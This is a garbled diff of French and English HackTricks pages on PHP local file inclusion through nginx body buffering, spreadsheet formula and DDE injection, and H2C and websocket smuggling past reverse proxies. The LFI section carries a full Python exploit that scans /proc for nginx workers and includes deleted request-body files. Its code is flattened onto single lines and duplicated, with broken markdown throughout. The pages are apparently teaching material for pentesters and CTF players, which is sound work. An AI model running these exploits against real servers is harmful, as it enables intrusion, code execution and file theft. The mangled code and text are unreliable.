* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,132 +15,60 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Configuration vulnérable
|
## Configuration vulnérable
|
||||||
|
|
||||||
[**Exemple de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
[**Exemple de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
|
||||||
* Code PHP:
|
* Code PHP:
|
||||||
|
```php
|
||||||
|
|
||||||
\`\`\`\`h\`
|
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||||
|
|
||||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Remarque : On ne peut pas inclure directement \`/proc/34/fd/15\` dans cet exemple car la fonction \`include\` de PHP résoudrait le chemin en \`/var/lib/nginx/body/0000001368 (deleted)\` qui n'existe pas dans le système de fichiers. Cette légère restriction peut heureusement être contournée par une certaine indirection comme : \`/proc/self/fd/34/../../../34/fd/15\` qui exécutera finalement le contenu du fichier supprimé \`/var/lib/nginx/body/0000001368\`. ## Exploit complet \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploiter l'inclusion de fichier local PHP (LFI) via l'assistance de mise en mémoire tampon du corps client de nginx # voir https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ pour plus de détails URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # trouver les processus de travail nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] processus de travail nginx trouvé : {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # télécharger un gros corps client pour forcer nginx à créer un /var/lib/nginx/body/$X def uploader(): print('\[+] démarrage de l'uploader') while not done: requests.get(URL, data=' //'
|
|
||||||
```
|
```
|
||||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
```
|
```
|
||||||
```python
|
|
||||||
def send_payload_worker(requests_session):
|
|
||||||
while True:
|
|
||||||
send_payload(requests_session)
|
|
||||||
|
|
||||||
def send_payload_multiprocess(requests_session):
|
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||||
# Utilisez tous les CPU pour envoyer la charge utile en tant que corps de requête pour Nginx
|
|
||||||
for _ in range(multiprocessing.cpu_count()):
|
|
||||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
|
||||||
p.start()
|
|
||||||
|
|
||||||
def generate_random_path_prefix(nginx_pids):
|
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||||
# Cette méthode crée un chemin à partir d'un nombre aléatoire de composants de chemin ProcFS.
|
|
||||||
# Un chemin généré ressemblera à /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
|
||||||
path = ""
|
|
||||||
component_num = random.randint(0, 10)
|
|
||||||
for _ in range(component_num):
|
|
||||||
pid = random.choice(nginx_pids)
|
|
||||||
if random.randint(0, 1) == 0:
|
|
||||||
path += f"/proc/{pid}/cwd"
|
|
||||||
else:
|
|
||||||
path += f"/proc/{pid}/root"
|
|
||||||
return path
|
|
||||||
|
|
||||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||||
nginx_pid_list = list(nginx_pids)
|
|
||||||
while True:
|
|
||||||
path = generate_random_path_prefix(nginx_pid_list)
|
|
||||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
|
||||||
try:
|
|
||||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
|
||||||
except:
|
|
||||||
continue
|
|
||||||
# Les drapeaux sont formatés comme hxp{}
|
|
||||||
if "hxp" in d:
|
|
||||||
print("Drapeau trouvé! ")
|
|
||||||
print(d)
|
|
||||||
|
|
||||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||||
# Scanner les FD Nginx entre 10 - 45 dans une boucle.
|
|
||||||
# Comme les fichiers et les sockets se ferment, il est très courant que le FD du corps de la requête s'ouvre dans cette plage
|
|
||||||
for fd in range(10, 45):
|
|
||||||
thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
|
|
||||||
thread.start()
|
|
||||||
|
|
||||||
def read_file_multiprocess(requests_session, nginx_pids):
|
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||||
for nginx_pid in nginx_pids:
|
|
||||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||||
p.start()
|
|
||||||
|
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
print('\[DEBUG] Création de la session de requêtes')
|
|
||||||
requests_session = create_requests_session()
|
|
||||||
print('\[DEBUG] Obtention des pids Nginx')
|
|
||||||
nginx_pids = get_nginx_pids(requests_session)
|
|
||||||
print(f'\[DEBUG] Pids Nginx: {nginx_pids}')
|
|
||||||
print('\[DEBUG] Démarrage de l\'envoi de la charge utile')
|
|
||||||
send_payload_multiprocess(requests_session)
|
|
||||||
print('\[DEBUG] Démarrage des lecteurs de fd')
|
|
||||||
read_file_multiprocess(requests_session, nginx_pids)
|
|
||||||
```
|
```
|
||||||
```
|
|
||||||
|
|
||||||
## Labs
|
## Labs
|
||||||
|
|
||||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||||
|
|
||||||
## References
|
## Références
|
||||||
|
|
||||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
|
||||||
|
|
||||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
|
||||||
|
|
||||||
You can check their website and try their engine for **free** at:
|
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
@ -15,14 +15,6 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Injection de Formule
|
## Injection de Formule
|
||||||
|
|
||||||
### Info
|
### Info
|
||||||
|
@ -69,7 +61,7 @@ Imaginez qu'une violation de sécurité dans un système de gestion des dossiers
|
||||||
|
|
||||||
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Dynamic Data Exchange (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour en tirer parti, les paramètres suivants doivent être activés :
|
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Dynamic Data Exchange (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour en tirer parti, les paramètres suivants doivent être activés :
|
||||||
|
|
||||||
* Accédez à Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe, et activez **Lancement du serveur Dynamic Data Exchange**.
|
* Allez dans Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe, et activez **Lancement du serveur Dynamic Data Exchange**.
|
||||||
|
|
||||||
Lorsqu'un tableur avec la charge utile malveillante est ouvert (et si l'utilisateur accepte les avertissements), la charge utile est exécutée. Par exemple, pour lancer l'application calculatrice, la charge utile serait :
|
Lorsqu'un tableur avec la charge utile malveillante est ouvert (et si l'utilisateur accepte les avertissements), la charge utile est exécutée. Par exemple, pour lancer l'application calculatrice, la charge utile serait :
|
||||||
```markdown
|
```markdown
|
||||||
|
@ -198,11 +190,6 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
H2C, ou **http2 sur texte clair**, s'écarte de la norme des connexions HTTP transitoires en mettant à niveau une **connexion HTTP standard en une connexion persistante**. Cette connexion mise à niveau utilise le protocole binaire http2 pour une communication continue, contrairement à la nature de requête unique de l'HTTP en texte clair.
|
H2C, ou **http2 sur texte clair**, s'écarte de la norme des connexions HTTP transitoires en mettant à niveau une **connexion HTTP standard en une connexion persistante**. Cette connexion mise à niveau utilise le protocole binaire http2 pour la communication continue, contrairement à la nature de requête unique de l'HTTP en texte clair.
|
||||||
|
|
||||||
Le cœur du problème de contournement réside dans l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transmet les requêtes HTTP vers le backend, retournant la réponse du backend après cela. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (souvent observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect de la RFC nécessite la présence de trois en-têtes spécifiques :
|
Le cœur du problème de contournement réside dans l'utilisation d'un **proxy inverse**. Ordinairement, le proxy inverse traite et transmet les requêtes HTTP au backend, renvoyant la réponse du backend après cela. Cependant, lorsque l'en-tête `Connection: Upgrade` est présent dans une requête HTTP (souvent observé avec les connexions websocket), le **proxy inverse maintient une connexion persistante** entre le client et le serveur, facilitant l'échange continu requis par certains protocoles. Pour les connexions H2C, le respect de la RFC nécessite la présence de trois en-têtes spécifiques :
|
||||||
```
|
```
|
||||||
Upgrade: h2c
|
Upgrade: h2c
|
||||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||||
Connection: Upgrade, HTTP2-Settings
|
Connection: Upgrade, HTTP2-Settings
|
||||||
```
|
```
|
||||||
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation de H2C Smuggling permet de contourner les règles de proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, à condition qu'une connexion H2C soit initiée avec succès.
|
La vulnérabilité survient lorsque, après la mise à niveau d'une connexion, le proxy inverse cesse de gérer les requêtes individuelles, supposant que son travail de routage est terminé après l'établissement de la connexion. L'exploitation de H2C Smuggling permet de contourner les règles du proxy inverse appliquées lors du traitement des requêtes, telles que le routage basé sur le chemin, l'authentification et le traitement WAF, à condition qu'une connexion H2C soit correctement initiée.
|
||||||
|
|
||||||
#### Proxies vulnérables <a href="#exploitation" id="exploitation"></a>
|
#### Proxies vulnérables <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
|
@ -64,7 +56,7 @@ Il est crucial de noter que tous les serveurs ne transmettent pas intrinsèqueme
|
||||||
Indépendamment du **chemin** spécifique désigné dans l'URL `proxy_pass` (par exemple, `http://backend:9999/socket.io`), la connexion établie par défaut à `http://backend:9999`. Cela permet d'interagir avec n'importe quel chemin au sein de ce point de terminaison interne, en tirant parti de cette technique. Par conséquent, la spécification d'un chemin dans l'URL `proxy_pass` ne restreint pas l'accès.
|
Indépendamment du **chemin** spécifique désigné dans l'URL `proxy_pass` (par exemple, `http://backend:9999/socket.io`), la connexion établie par défaut à `http://backend:9999`. Cela permet d'interagir avec n'importe quel chemin au sein de ce point de terminaison interne, en tirant parti de cette technique. Par conséquent, la spécification d'un chemin dans l'URL `proxy_pass` ne restreint pas l'accès.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Les outils [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) et [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitent les tentatives de **contourner les protections imposées par le proxy** en établissant une connexion H2C, permettant ainsi l'accès à des ressources protégées par le proxy.
|
Les outils [**h2csmuggler par BishopFox**](https://github.com/BishopFox/h2csmuggler) et [**h2csmuggler par assetnote**](https://github.com/assetnote/h2csmuggler) facilitent les tentatives de **contourner les protections imposées par le proxy** en établissant une connexion H2C, permettant ainsi l'accès à des ressources protégées par le proxy.
|
||||||
|
|
||||||
Pour plus d'informations sur cette vulnérabilité, en particulier concernant NGINX, consultez [**cette ressource détaillée**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
Pour plus d'informations sur cette vulnérabilité, en particulier concernant NGINX, consultez [**cette ressource détaillée**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||||
|
|
||||||
|
@ -77,7 +69,7 @@ Le websocket smuggling, contrairement à la création d'un tunnel HTTP2 vers un
|
||||||
Dans ce scénario, un backend qui offre une API WebSocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes :
|
Dans ce scénario, un backend qui offre une API WebSocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes :
|
||||||
|
|
||||||
1. Le client commence par envoyer une requête Upgrade au proxy inverse avec une version de protocole `Sec-WebSocket-Version` incorrecte dans l'en-tête. Le proxy, ne validant pas l'en-tête `Sec-WebSocket-Version`, croit que la requête Upgrade est valide et la transmet au backend.
|
1. Le client commence par envoyer une requête Upgrade au proxy inverse avec une version de protocole `Sec-WebSocket-Version` incorrecte dans l'en-tête. Le proxy, ne validant pas l'en-tête `Sec-WebSocket-Version`, croit que la requête Upgrade est valide et la transmet au backend.
|
||||||
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose qu'il est prêt pour la communication WebSocket et relaye la réponse au client.
|
2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, négligeant le statut de réponse du backend, suppose qu'il est prêt pour la communication WebSocket et relaye la réponse au client.
|
||||||
3. Par conséquent, le proxy inverse est induit en erreur en croyant qu'une connexion WebSocket a été établie entre le client et le backend, alors qu'en réalité, le backend avait rejeté la requête Upgrade. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client d'accéder sans restriction à l'API REST privée via cette connexion.
|
3. Par conséquent, le proxy inverse est induit en erreur en croyant qu'une connexion WebSocket a été établie entre le client et le backend, alors qu'en réalité, le backend avait rejeté la requête Upgrade. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client d'accéder sans restriction à l'API REST privée via cette connexion.
|
||||||
|
|
||||||
Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le problème, et la version 1.8.0 ou antérieure du proxy Envoy, les versions ultérieures ayant modifié le mécanisme de mise à niveau. D'autres proxies peuvent également être susceptibles.
|
Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le problème, et la version 1.8.0 ou antérieure du proxy Envoy, les versions ultérieures ayant modifié le mécanisme de mise à niveau. D'autres proxies peuvent également être susceptibles.
|
||||||
|
@ -112,12 +104,6 @@ Vérifiez les laboratoires pour tester les deux scénarios à [https://github.co
|
||||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -127,8 +113,8 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
